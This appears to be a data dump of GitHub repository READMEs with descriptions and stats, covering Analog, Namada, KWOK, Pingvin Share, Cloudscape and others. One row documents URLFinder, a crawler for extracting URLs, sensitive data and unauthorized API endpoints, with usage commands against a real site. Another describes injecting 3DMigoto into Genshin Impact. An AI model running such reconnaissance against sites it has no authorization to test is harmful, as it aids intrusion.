href="https://github.com/analogjs/analog/commits?author=crutchcorn" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.robusthaven.com"><img src="https://avatars.githubusercontent.com/u/730804?v=4?s=100" width="100px;" alt="Leblanc Meneses"/><br /><sub><b>Leblanc Meneses</b></sub></a><br /><a href="#infra-leblancmeneses" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://github.com/analogjs/analog/commits?author=leblancmeneses" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=leblancmeneses" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jculvey"><img src="https://avatars.githubusercontent.com/u/204386?v=4?s=100" width="100px;" alt="James Culveyhouse"/><br /><sub><b>James Culveyhouse</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=jculvey" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/naaajii"><img src="https://avatars.githubusercontent.com/u/54370141?v=4?s=100" width="100px;" alt="Naji"/><br /><sub><b>Naji</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=naaajii" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://honey.glass/"><img src="https://avatars.githubusercontent.com/u/1880749?v=4?s=100" width="100px;" alt="Bitcollage"/><br /><sub><b>Bitcollage</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=SerkanSipahi" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sonukapoor"><img src="https://avatars.githubusercontent.com/u/59734?v=4?s=100" width="100px;" alt="Sonu Kapoor"/><br /><sub><b>Sonu Kapoor</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=sonukapoor" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/ezzabuzaid"><img src="https://avatars.githubusercontent.com/u/29958503?v=4?s=100" width="100px;" alt="ezzabuzaid"/><br /><sub><b>ezzabuzaid</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=ezzabuzaid" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://eduardoroth.dev"><img src="https://avatars.githubusercontent.com/u/5419161?v=4?s=100" width="100px;" alt="Eduardo Roth"/><br /><sub><b>Eduardo Roth</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=eduardoRoth" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://ryanclements.dev/"><img src="https://avatars.githubusercontent.com/u/20916810?v=4?s=100" width="100px;" alt="Ryan Clements"/><br /><sub><b>Ryan Clements</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=RyanClementsHax" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://byeonggi.vercel.app/"><img src="https://avatars.githubusercontent.com/u/11059706?v=4?s=100" width="100px;" alt="ByeongGi"/><br /><sub><b>ByeongGi</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=ByeongGi" title="Documentation">📖</a> <a href="#translation-ByeongGi" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://marmicode.io"><img src="https://avatars.githubusercontent.com/u/2674658?v=4?s=100" width="100px;" alt="Younes Jaaidi"/><br /><sub><b>Younes Jaaidi</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=yjaaidi" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=yjaaidi" title="Tests">⚠️</a></td> <td align="center" valign="top" width="14.28%"><a href="https://boogiemonsta.com/"><img src="https://avatars.githubusercontent.com/u/73052877?v=4?s=100" width="100px;" alt="BoogMon"/><br /><sub><b>BoogMon</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=BoogieMonsta" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.anthonygarera.com"><img src="https://avatars.githubusercontent.com/u/6021169?v=4?s=100" width="100px;" alt="Anthony Garera"/><br /><sub><b>Anthony Garera</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=AmGarera" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://stewan.io"><img src="https://avatars.githubusercontent.com/u/719763?v=4?s=100" width="100px;" alt="Stewan"/><br /><sub><b>Stewan</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=stewones" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=stewones" title="Tests">⚠️</a></td> <td align="center" valign="top" width="14.28%"><a href="https://naterad.com"><img src="https://avatars.githubusercontent.com/u/130445?v=4?s=100" width="100px;" alt="Nate Radebaugh"/><br /><sub><b>Nate Radebaugh</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=NateRadebaugh" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://angularexamples.wolsok.de/"><img src="https://avatars.githubusercontent.com/u/8589105?v=4?s=100" width="100px;" alt="Wolfram Sokollek"/><br /><sub><b>Wolfram Sokollek</b></sub></a><br /><a href="#infra-WolfSoko" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/muhammaduxair"><img src="https://avatars.githubusercontent.com/u/64395440?v=4?s=100" width="100px;" alt="Muhammad Uzair"/><br /><sub><b>Muhammad Uzair</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=muhammaduxair" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://pranavramesh.dev"><img src="https://avatars.githubusercontent.com/u/23617187?v=4?s=100" width="100px;" alt="Pranav Ramesh"/><br /><sub><b>Pranav Ramesh</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=Laphatize" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://snyder.tech"><img src="https://avatars.githubusercontent.com/u/707567?v=4?s=100" width="100px;" alt="Ben Snyder"/><br /><sub><b>Ben Snyder</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=benpsnyder" title="Documentation">📖</a> <a href="#infra-benpsnyder" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind welcome!	The fullstack meta-framework for Angular. Powered by Vite and Nitro	angular,vite,framework,meta-framework,router,web,ssr,server-side-rendering,ssg,static-site-generator	68	115	719	1,083	41	22	2
anoma/namada	# Namada [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](./LICENSE) ![CI Status](https://github.com/anoma/namada/actions/workflows/build-and-test.yml/badge.svg?branch=main) ## Overview [Namada](http://namada.net) is a Proof-of-Stake L1 for interchain asset-agnostic privacy. Namada uses CometBFT consensus and enables multi-asset shielded transfers for any native or non-native asset. Namada features full IBC protocol support, a natively integrated Ethereum bridge, a modern proof-of-stake system with automatic reward compounding and cubic slashing, and a stake-weighted governance signalling mechanism. Users of shielded transfers are rewarded for their contributions to the privacy set in the form of native protocol tokens. A multi-asset shielded transfer wallet is provided in order to facilitate safe and private user interaction with the protocol. * Blogpost: [Introducing Namada: Interchain Asset-agnostic Privacy](https://blog.namada.net/introducing-namada-interchain-asset-agnostic-privacy/) ## 📓 Docs * dev docs: built from [dev mdBook](./documentation/dev/) ## Warning > Here lay dragons: this codebase is still experimental, try at your own risk! ## 💾 Installing There is a single command to build and install Namada executables from source (the node, the client and the wallet). This command will also verify that a compatible version of [CometBFT](#dependencies) is available and if not, attempt to install it. Note that currently at least 16GB RAM is needed to build from source. ```shell make install ``` After installation, the main `namada` executable will be available on path. To find how to use it, check out the [User Guide section of the docs](https://docs.namada.net/user-guide/index.html). For more detailed instructions and more install options, see the [Install section](https://docs.namada.net/user-guide/install/index.html) of the User Guide. ## ⚙️ Development ```shell # Build the provided validity predicate and transaction wasm modules make build-wasm-scripts-docker ``` ### Before submitting a PR, pls make sure to run the following ```shell # Format the code make fmt # Lint the code make clippy ``` ## 🧾 Logging To change the log level, set `NAMADA_LOG` environment variable to one of: * `error` * `warn` * `info` * `debug` * `trace` The default is set to `info` for all the modules, expect for CometBFT ABCI, which has a lot of `debug` logging. For more fine-grained logging levels settings, please refer to the [tracing subscriber docs](https://docs.rs/tracing-subscriber/0.2.18/tracing_subscriber/struct.EnvFilter.html#directives) for more information. To switch on logging in tests that use `#[test]` macro from `test_log::test`, use `RUST_LOG` with e.g. `RUST_LOG=info cargo test -- --nocapture`. ## How to contribute Please see the [contributing page](./CONTRIBUTING.md). ### Dependencies The ledger currently requires [CometBFT v0.37.2](https://github.com/cometbft/cometbft/releases/tag/v0.37.2) is installed and available on path. This can be achieved through following [these instructions](https://github.com/cometbft/cometbft/blob/main/docs/guides/install.md)	Rust implementation of Namada, a Proof-of-Stake L1 for interchain asset-agnostic privacy	blockchain,privacy,rust,zkp	77	86	2,290	14,630	215	697	12
kubernetes-sigs/kwok	# `KWOK` (`K`ubernetes `W`ith`O`ut `K`ubelet) <img align="right" width="180px" src="./logo/kwok.svg"/> [KWOK] is pronounced as `/kwɔk/`. [KWOK] is a toolkit that enables setting up a cluster of thousands of Nodes in seconds. Under the scene, all Nodes are simulated to behave like real ones, so the overall approach employs a pretty low resource footprint that you can easily play around on your laptop. ## What is KWOK? KWOK stands for Kubernetes WithOut Kubelet. So far, it provides two tools: - `kwok` is the cornerstone of this project, responsible for simulating the lifecycle of fake nodes, pods, and other Kubernetes API resources. - `kwokctl` is a CLI tool designed to streamline the creation and management of clusters, with nodes simulated by `kwok`. Please see [our website] for more in-depth information. <img width="700px" src="./demo/manage-clusters.svg"> ## Why KWOK? - Lightweight: You can [simulate thousands of nodes] on your laptop without significant consumption of CPU or memory resources. Currently, KWOK can reliably maintain 1k nodes and 100k pods easily. - Fast: You can create and delete clusters and nodes almost instantly, without waiting for boot or provisioning. Currently, KWOK can create 20 nodes or pods per second. - Compatibility: KWOK works with any tools or clients that are compliant with Kubernetes APIs, such as kubectl, helm, kui, etc. - Portability: KWOK has no specific hardware or software requirements. You can [run it using pre-built images], once Docker or Nerdctl is installed. Alternatively, binaries are also available for all platforms and can be easily installed. - Flexibility: You can configure different node types, labels, taints, capacities, conditions, etc., and you can configure different pod behaviors, status, etc. to test different scenarios and edge cases. ## Community See our own [contributor guide] and the Kubernetes [community page]. ### Getting Involved If you're interested in participating in future discussions or development related to KWOK, there are several ways to get involved: - Slack: [#kwok] for general usage discussion, [#kwok-dev] for development discussion. (visit [slack.k8s.io] for a workspace invitation) - Open Issues/PRs/Discussions in [sigs.k8s.io/kwok] ### Code of conduct Participation in the Kubernetes community is governed by the [Kubernetes Code of Conduct][code of conduct]. [KWOK]: https://sigs.k8s.io/kwok [our website]: https://kwok.sigs.k8s.io [community page]: https://kubernetes.io/community/ [contributor guide]: https://kwok.sigs.k8s.io/docs/contributing/getting-started [code of conduct]: https://github.com/kubernetes-sigs/kwok/blob/main/code-of-conduct.md [sigs.k8s.io/kwok]: https://sigs.k8s.io/kwok/ [#kwok]: https://kubernetes.slack.com/messages/kwok/ [#kwok-dev]: https://kubernetes.slack.com/messages/kwok-dev/ [slack.k8s.io]: https://slack.k8s.io/ [simulate thousands of nodes]: https://kwok.sigs.k8s.io/docs/user/kwok-manage-nodes-and-pods/ [run it using pre-built images]: https://kwok.sigs.k8s.io/docs/user/all-in-one-image/	Kubernetes WithOut Kubelet - Simulates thousands of Nodes and Clusters.	k8s-sig-scheduling,kubernetes,simulator,docker,golang,mulit-cluster,nerdctl	11	383	908	1,309	32	12	5
mattpocock/ts-error-translator	# Total TypeScript VSCode Extension Learn more on our [official docs page](https://www.totaltypescript.com/vscode-extension). Learn TypeScript from within your IDE. Get helpful hints on syntax, and get translations of TypeScript's most cryptic errors. - [Download the VSCode Extension](https://marketplace.visualstudio.com/items?itemName=mattpocock.ts-error-translator)	VSCode extension to turn TypeScript errors into plain English	null	25	15	138	349	112	6	2
pingc0y/URLFinder	## URLFinder URLFinder是一款快速、全面、易用的页面信息提取工具用于分析页面中的js与url,查找隐藏在其中的敏感信息或未授权api接口大致执行流程: <img src="https://github.com/pingc0y/URLFinder/raw/master/img/process.png" width="85%" /> 有什么需求或bug欢迎各位师傅提交lssues ## 快速使用单url ``` 显示全部状态码 URLFinder.exe -u http://www.baidu.com -s all -m 3 显示200和403状态码 URLFinder.exe -u http://www.baidu.com -s 200,403 -m 3 ``` 批量url ``` 结果分开保存导出全部 URLFinder.exe -s all -m 3 -f url.txt -o . 只导出html URLFinder.exe -s all -m 3 -f url.txt -o res.html 结果统一保存 URLFinder.exe -s all -m 3 -ff url.txt -o . ``` 参数（更多参数使用 -i 配置）： ``` -a 自定义user-agent请求头 -b 自定义baseurl路径 -c 请求添加cookie -d 指定获取的域名,支持正则表达式 -f 批量url抓取,需指定url文本路径 -ff 与-f区别：全部抓取的数据,视为同一个url的结果来处理（只打印一份结果 \| 只会输出一份结果） -h 帮助信息 -i 加载yaml配置文件,可自定义请求头、抓取规则等（不存在时,会在当前目录创建一个默认yaml配置文件） -m 抓取模式： 1 正常抓取（默认） 2 深入抓取（URL深入一层 JS深入三层防止抓偏） 3 安全深入抓取（过滤delete,remove等敏感路由） -max 最大抓取数 -o 结果导出到csv、json、html文件,需指定导出文件目录（.代表当前目录） -s 显示指定状态码,all为显示全部 -t 设置线程数（默认50） -time 设置超时时间（默认5,单位秒） -u 目标URL -x 设置代理,格式: http://username:password@127.0.0.1:8877 -z 提取所有目录对404链接进行fuzz(只对主域名下的链接生效,需要与 -s 一起使用） 1 目录递减fuzz 2 2级目录组合fuzz 3 3级目录组合fuzz（适合少量链接使用） ``` ## 使用截图 [![0.jpg](https://github.com/pingc0y/URLFinder/raw/master/img/0.jpg)](https://github.com/pingc0y/URLFinder/raw/master/img/0.jpg) [![1.jpg](https://github.com/pingc0y/URLFinder/raw/master/img/1.jpg)](https://github.com/pingc0y/URLFinder/raw/master/img/1.jpg) [![2.jpg](https://github.com/pingc0y/URLFinder/raw/master/img/2.jpg)](https://github.com/pingc0y/URLFinder/raw/master/img/2.jpg) [![3.jpg](https://github.com/pingc0y/URLFinder/raw/master/img/3.jpg)](https://github.com/pingc0y/URLFinder/raw/master/img/3.jpg) [![4.jpg](https://github.com/pingc0y/URLFinder/raw/master/img/4.jpg)](https://github.com/pingc0y/URLFinder/raw/master/img/4.jpg) [![5.jpg](https://github.com/pingc0y/URLFinder/raw/master/img/5.jpg)](https://github.com/pingc0y/URLFinder/raw/master/img/5.jpg) ## 部分说明 fuzz功能是基于抓到的404目录和路径。将其当作字典,随机组合并碰撞出有效路径,从而解决路径拼接错误的问题结果会优先显示输入的url顶级域名,其他域名不做区分显示在 other 结果会优先显示200,按从小到大排序（输入的域名最优先,就算是404也会排序在其他子域名的200前面）为了更好的兼容和防止漏抓链接,放弃了低误报率,错误的链接会变多但漏抓概率变低,可通过 ‘-s 200’ 筛选状态码过滤无效的链接（但不推荐只看200状态码） ## 编译以下是在windows环境下,编译出各平台可执行文件的命令 ``` SET CGO_ENABLED=0 SET GOOS=windows SET GOARCH=amd64 go build -ldflags "-s -w" -o ./URLFinder-windows-amd64.exe SET CGO_ENABLED=0 SET GOOS=windows SET GOARCH=386 go build -ldflags "-s -w" -o ./URLFinder-windows-386.exe SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build -ldflags "-s -w" -o ./URLFinder-linux-amd64 SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=arm64 go build -ldflags "-s -w" -o ./URLFinder-linux-arm64 SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=386 go build -ldflags "-s -w" -o ./URLFinder-linux-386 SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build -ldflags "-s -w" -o ./URLFinder-macos-amd64 SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=arm64 go build -ldflags "-s -w" -o ./URLFinder-macos-arm64 ``` ## 更新说明 2023/9/9 修复 -ff 重复验证问题修复自动识别协议bug 2023/9/2 修复子目录定位bug 2023/8/30 修复 -i 配置请求头错误问题变化支持自动识别http/https 变化 -o 输入完整文件名可只导出指定类型变化无 -s 参数时，链接改为无颜色方便使用管道符 2023/5/11 变化 -i 配置文件可自定义：线程数、抓取深度、敏感路由、超时时间、最大抓取数新增 -time 设置超时时间新增 -max 设置最大抓取数新增添加版本更新提示修复已知bug 2023/5/5 修复多个任务时html结果混乱新增结果添加302跳转信息变化未获取到数据时不打印与输出结果 2023/4/22 修复已知bug 变化 -d 改为正则表达式变化打印显示抓取来源新增敏感信息增加Other 新增 -ff 全部抓取的数据,视为同一个url的结果来处理（只打印一份结果 \| 只会输出一份结果） 2023/2/21 修复已知bug 2023/2/3 新增域名信息展示变化 -i配置文件可配置抓取规则等 2023/1/29 新增 -b 设置baseurl路径新增 -o json、html格式导出新增部分敏感信息获取新增默认会进行简单的js爆破变化能抓到更多链接,但垃圾数据变多变化代理设置方式变更 2022/10/25 新增 -t 设置线程数(默认50) 新增 -z 对主域名的404链接fuzz测试优化部分细节 2022/10/6 新增 -x http代理设置修改多个相同域名导出时覆盖问题处理 2022/9/23 新增对base标签的兼容修复正则bug 2022/9/16 新增 -m 3 安全的深入抓取,过滤delete、remove等危险URL 新增 -d 获取指定域名资源新增 -o 导出到文件显示获取来源source 修复已知bug 2022/9/15 修复某种情况下的数组越界 2022/9/12 修复 linux与mac下的配置文件生成错误修复已知逻辑bug 2022/9/5 新增链接存在标题时,显示标题新增 -i 参数,加载yaml配置文件（目前只支持配置请求头headers）修改部分代码逻辑修复当ip存在端口时,导出会去除端口 2022/8/29 新增抓取url数量显示优化部分代码新增提供各平台可执行文件 2022/8/27 新增 -o 改为自定义文件目录新增导出文件改为csv后缀,表格查看更方便修复已知正则bug 2022/8/19 优化加长超时时间避免误判 2022/8/5 新增状态码过滤新增状态码验证显示进度修复域名带端口输出本地错误问题 2022/7/25 优化 js规则优化排序新增根据状态码显示彩色字体 2022/7/6 完善规则 2022/6/27 优化规则新增提供linux成品程序 2022/6/21 修改获取状态码从自动改为手动（-s）新增显示响应内容大小 2022/6/16 优化提取规则增强兼容性修复数组越界错误处理 2022/6/14 修复部分网站返回空值的问题 2022/6/13 新增自定义user-agent请求头功能新增批量url抓取功能新增结果导出功能优化过滤规则优化结果排版 2022/6/8 修复忽略ssl证书错误 # 开发由来致敬JSFinder！开发此工具的初衷是因为经常使用 JSFinder 时会返回空或链接不完整,而且作者已经很久没有更新修复 bug 了。因此,萌生了自己开发一款类似工具的想法。	一款快速、全面、易用的页面信息提取工具，可快速发现和提取页面中的JS、URL和敏感信息。	jsfinder,urlfinder,infofinder	8	3	4	40	33	1	1
stonith404/pingvin-share	# <div align="center"><img src="https://user-images.githubusercontent.com/58886915/166198400-c2134044-1198-4647-a8b6-da9c4a204c68.svg" width="40"/> </br>Pingvin Share</div> [![](https://dcbadge.limes.pink/api/server/wHRQ9nFRcK)](https://discord.gg/wHRQ9nFRcK) [![](https://img.shields.io/badge/Crowdin-2E3340.svg?style=for-the-badge&logo=Crowdin&logoColor=white)](https://crowdin.com/project/pingvin-share) [![](https://img.shields.io/badge/sponsor-30363D?style=for-the-badge&logo=GitHub-Sponsors&logoColor=#white)](https://github.com/sponsors/stonith404) _Read this in another language: [Spanish](/docs/README.es.md), [English](/README.md), [简体中文](/docs/README.zh-cn.md), [日本語](/docs/README.ja-jp.md)_ --- Pingvin Share is self-hosted file sharing platform and an alternative for WeTransfer. ## ✨ Features - Share files using a link - Unlimited file size (restricted only by disk space) - Set an expiration date for shares - Secure shares with visitor limits and passwords - Email recipients - Integration with ClamAV for security scans ## 🐧 Get to know Pingvin Share - [Demo](https://pingvin-share.dev.eliasschneider.com) - [Review by DB Tech](https://www.youtube.com/watch?v=rWwNeZCOPJA) <img src="https://user-images.githubusercontent.com/58886915/225038319-b2ef742c-3a74-4eb6-9689-4207a36842a4.png" width="700"/> ## ⌨️ Setup > Note: Pingvin Share is in its early stages and may contain bugs. ### Installation with Docker (recommended) 1. Download the `docker-compose.yml` file 2. Run `docker compose up -d` The website is now listening on `http://localhost:3000`, have fun with Pingvin Share 🐧! ### Stand-alone Installation Required tools: - [Node.js](https://nodejs.org/en/download/) >= 16 - [Git](https://git-scm.com/downloads) - [pm2](https://pm2.keymetrics.io/) for running Pingvin Share in the background ```bash git clone https://github.com/stonith404/pingvin-share cd pingvin-share # Checkout the latest version git fetch --tags && git checkout $(git describe --tags `git rev-list --tags --max-count=1`) # Start the backend cd backend npm install npm run build pm2 start --name="pingvin-share-backend" npm -- run prod # Start the frontend cd ../frontend npm install npm run build API_URL=http://localhost:8080 # Set the URL of the backend, default: http://localhost:8080 pm2 start --name="pingvin-share-frontend" .next/standalone/server.js ``` Uploading Large Files: By default, Pingvin Share uses a built-in reverse proxy to reduce the installation steps. However, this reverse proxy is not optimized for uploading large files. If you wish to upload larger files, you can either use the Docker installation or set up your own reverse proxy. An example configuration for Caddy can be found in `./Caddyfile`. The website is now listening on `http://localhost:3000`, have fun with Pingvin Share 🐧! ### Integrations #### ClamAV (Docker only) ClamAV is used to scan shares for malicious files and remove them if found. 1. Add the ClamAV container to the Docker Compose stack (see `docker-compose.yml`) and start the container. 2. Docker will wait for ClamAV to start before starting Pingvin Share. This may take a minute or two. 3. The Pingvin Share logs should now log "ClamAV is active" Please note that ClamAV needs a lot of [ressources](https://docs.clamav.net/manual/Installing/Docker.html#memory-ram-requirements). #### OAuth 2 Login View the [OAuth 2 guide](/docs/oauth2-guide.md) for more information. ### Additional resources - [Synology NAS installation](https://mariushosting.com/how-to-install-pingvin-share-on-your-synology-nas/) - [Zeabur installation](https://zeabur.com/templates/19G6OK) ### Upgrade to a new version As Pingvin Share is in early stage, see the release notes for breaking changes before upgrading. #### Docker ```bash docker compose pull docker compose up -d ``` #### Stand-alone 1. Stop the running app ```bash pm2 stop pingvin-share-backend pingvin-share-frontend ``` 2. Repeat the steps from the [installation guide](#stand-alone-installation) except the `git clone` step. ```bash cd pingvin-share # Checkout the latest version git fetch --tags && git checkout $(git describe --tags `git rev-list --tags --max-count=1`) # Start the backend cd backend npm install npm run build pm2 restart pingvin-share-backend # Start the frontend cd ../frontend npm install npm run build API_URL=http://localhost:8080 # Set the URL of the backend, default: http://localhost:8080 pm2 restart pingvin-share-frontend ``` ### Configuration You can customize Pingvin Share like changing your domain by going to the configuration page in your admin dashboard `/admin/config`. #### Environment variables For installation specific configuration, you can use environment variables. The following variables are available: ##### Backend \| Variable \| Default Value \| Description \| \| ---------------- \| -------------------------------------------------- \| -------------------------------------- \| \| `PORT` \| `8080` \| The port on which the backend listens. \| \| `DATABASE_URL` \| `file:../data/pingvin-share.db?connection_limit=1` \| The URL of the SQLite database. \| \| `DATA_DIRECTORY` \| `./data` \| The directory where data is stored. \| \| `CLAMAV_HOST` \| `127.0.0.1` \| The IP address of the ClamAV server. \| \| `CLAMAV_PORT` \| `3310` \| The port number of the ClamAV server. \| ##### Frontend \| Variable \| Default Value \| Description \| \| --------- \| ----------------------- \| ---------------------------------------- \| \| `PORT` \| `3000` \| The port on which the frontend listens. \| \| `API_URL` \| `http://localhost:8080` \| The URL of the backend for the frontend. \| ## 🖤 Contribute ### Translations You can help to translate Pingvin Share into your language. On [Crowdin](https://crowdin.com/project/pingvin-share) you can easily translate Pingvin Share online. Is your language not on Crowdin? Feel free to [Request it](https://github.com/stonith404/pingvin-share/issues/new?assignees=&labels=language-request&projects=&template=language-request.yml&title=%F0%9F%8C%90+Language+request%3A+%3Clanguage+name+in+english%3E). Any issues while translating? Feel free to participate in the [Localization discussion](https://github.com/stonith404/pingvin-share/discussions/198). ### Project You're very welcome to contribute to Pingvin Share! Please follow the [contribution guide](/CONTRIBUTING.md) to get started.	A self-hosted file sharing platform that combines lightness and beauty, perfect for seamless and efficient file sharing.	nextjs,file-sharing,self-hosted,nestjs	64	23	122	563	56	4	2
SilentNightSound/GI-Model-Importer	EN \| [中文](CN_README.md) # Genshin-Impact-Model-Importer (GIMI) Tools and instructions for importing custom models into Genshin Impact. #### DISCLAIMER: I strongly recommend only using private servers for modding. Using these tools on official Genshin servers carries a high risk of being banned. I do not condone the use of these tools and programs on official servers, and take no responsibility for any consequences as a result if you do. GIMI is a version of 3DMigoto that I have modified to be compatible with Genshin. Feel free to use or modify any of the scripts on this repo as you wish, though please give credit if you use these programs in your projects. I am continuing to update this page with new features and fixes, so check back often. Troubleshooting guide: [Troubleshooting](Guides/Troubleshooting.md) For a simple walkthrough of removing a portion of a character mesh using these tools, see [Mona Walkthrough](Guides/MonaWalkthrough.md). For an intermediate walkthrough of creating custom weapons, see [Custom Weapon Modding Walkthrough](Guides/BananaWeaponWalkthrough.md). For a more advanced example of importing a custom model, see Cybertron's great video walkthrough [here](https://www.youtube.com/watch?v=7ijMOjhEvBw) and SinsOfSeven#3164 annotated transcript and troubleshooting guide [here](https://rentry.co/3dmigPlug_AnimeGame). Model files for the importer are located at [GI-Model-Importer-Assets](https://github.com/SilentNightSound/GI-Model-Importer-Assets) ## Installation Instructions (3DMigoto) 1. Download a 3dmigoto .zip from [releases](https://github.com/SilentNightSound/GI-Model-Importer/releases) and extract it. I have provided two versions: - "3dmigoto-GIMI-for-development.zip" is a development version intended for creating mods which has all features turned on (including the green text at the top and bottom of the screen) but is slower - "3dmigoto-GIMI-for-playing-mods.zip" is a version of the program indended for playing mods which has development features turned off (no green text) but is faster 2. (for V6 GIMI and below; v7 and above does this automatically and you can skip this step) Depending on the location of your Genshin Impact .exe file, you may need to change this line in the d3dx.ini file to point to your own installation (the Genshin game .exe, not the Genshin launcher .exe - the one you want is usually located in the Genshin Impact Game folder). If changing it to your path doesn't work, try using `target = GenshinImpact.exe`: <img src="https://user-images.githubusercontent.com/107697535/174322200-b1afea95-53f5-4add-be89-698f85503908.png" width="800"/> 3. Double click "3DMigoto Loader.exe" to start the loader, then start up Genshin through the GenshinImpact.exe. If everything is correct so far, 3DMigoto should be injected into the game and you should see a green text overlay (only if using the "for development" version, the "for playing" version does not show the green text): ![image](https://user-images.githubusercontent.com/107697535/174324967-049b9879-c537-4bd0-b190-4ad7444fb8f1.png) <img src="https://user-images.githubusercontent.com/107697535/174325193-1f58ab2c-86f8-4ce9-8697-6e7d140b2014.png" width="800"/> - Note: some people have reported an issue where the loader lists that it was unable to verify if 3dmigoto was loaded. This does not mean that 3dmigoto failed to inject - if the green text and mods show up, there are no issues and you can close the command prompt ![image](https://user-images.githubusercontent.com/107697535/175563985-1e7d1298-08d0-4334-b6e8-c69769e3877a.png) 4. Installation complete! You should now be able to load custom resources and override textures and shaders with 3DMigoto. To add mods, place them in the Mods folder (one mod per character at a time) and press F10 to load them in game: ![image](https://user-images.githubusercontent.com/107697535/175611402-c3f600ca-4136-4561-b33a-f4edf6153d1a.png)   ## Installation Instructions (3DMigoto Blender Plugin) In order to modify game models, you need to also setup your Blender plugins and environment. The 3DMigoto plugin works with Blender 2.80+ 1. Download and install Blender 2. Download and install the modified 3DMigoto plugin (blender_3dmigoto_gimi.py) from [releases](https://github.com/SilentNightSound/GI-Model-Importer/releases). You can install an add-on in Blender by going to Edit -> Preferences -> Add-Ons -> Install, then selecting the .py file. 3. If done correctly, you should see 3dmigoto in the plugin list as well as new options in the import and export menus <img src="https://user-images.githubusercontent.com/107697535/174328624-ccb14ded-57b2-4ac7-b0a0-0de118119174.png" width="800"/> <img src="https://user-images.githubusercontent.com/107697535/174329025-981a1a9f-7c56-4f44-804b-1b0394b8bd33.png" width="800"/>   ## Usage Instructions See [Usage Instructions](Guides/UsageInstructions.md) Also, if you any questions about modding come join the Genshin modding discord at https://discord.gg/gR2Ts6ApP7. The only verification is that you can 3dmigoto GIMI working by following the steps above.   ## Acknowledgements Huge thank you to DarkStarSword, bo3b and Chiri for 3dmigoto!	Tools and instructions for importing custom models into a certain anime game	null	4	9	31	321	51	4	0
cloudscape-design/components	## React components for Cloudscape Design System This package contains the source code of the React components for the [Cloudscape Design System](https://cloudscape.design/). Cloudscape is an open source design system for building intuitive, engaging, and inclusive user experiences at scale. It consists of an extensive set of guidelines to create web applications, along with the design resources and front-end components to streamline implementation. Cloudscape was built for and is used by [Amazon Web Services (AWS)](https://aws.amazon.com/) products and services. We created it in 2016 to improve the user experience across AWS web applications, and also to help teams implement those applications faster. Since then, we have continued enhancing the system based on customer feedback and research. Components APIs and guidelines can be found in the [Components section of the Cloudscape website](https://cloudscape.design/components/). ## Getting started For an in-depth guide on getting started with Cloudscape development, check out the [Cloudscape website](https://cloudscape.design/get-started/integration/using-cloudscape-components/). ### Installation All Cloudscape packages are available on npm. ```sh npm install @cloudscape-design/components @cloudscape-design/global-styles ``` ### Using Cloudscape components Here is a basic example that renders a primary button: ```jsx import Button from '@cloudscape-design/components/button'; import '@cloudscape-design/global-styles/index.css'; function App() { return <Button variant="primary">Click me</Button>; } ``` You can also play around with a small example on CodeSandbox: [![Edit on CodeSandbox](https://codesandbox.io/static/img/play-codesandbox.svg)](https://codesandbox.io/s/cloudscape-design-system-react-javascript-ljs1t7) ## Getting help You can [create bug reports or feature requests](https://github.com/cloudscape-design/components/issues/new/choose), or [start a discussion](https://github.com/cloudscape-design/components/discussions) to ask a question. To minimize duplicates, we recommend that you search for existing bug reports, feature requests, or discussions before initiating a new thread. ## Contributing The [contribution guidelines](https://github.com/cloudscape-design/components/blob/main/CONTRIBUTING.md) contains information on how to contribute, as well as our support model and versioning strategy. ## License This project is licensed under the [Apache 2.0 License](/LICENSE).	React components for Cloudscape Design System	components,design-system,react,scss,typescript	535	57	2,053	1,617	27	361	8
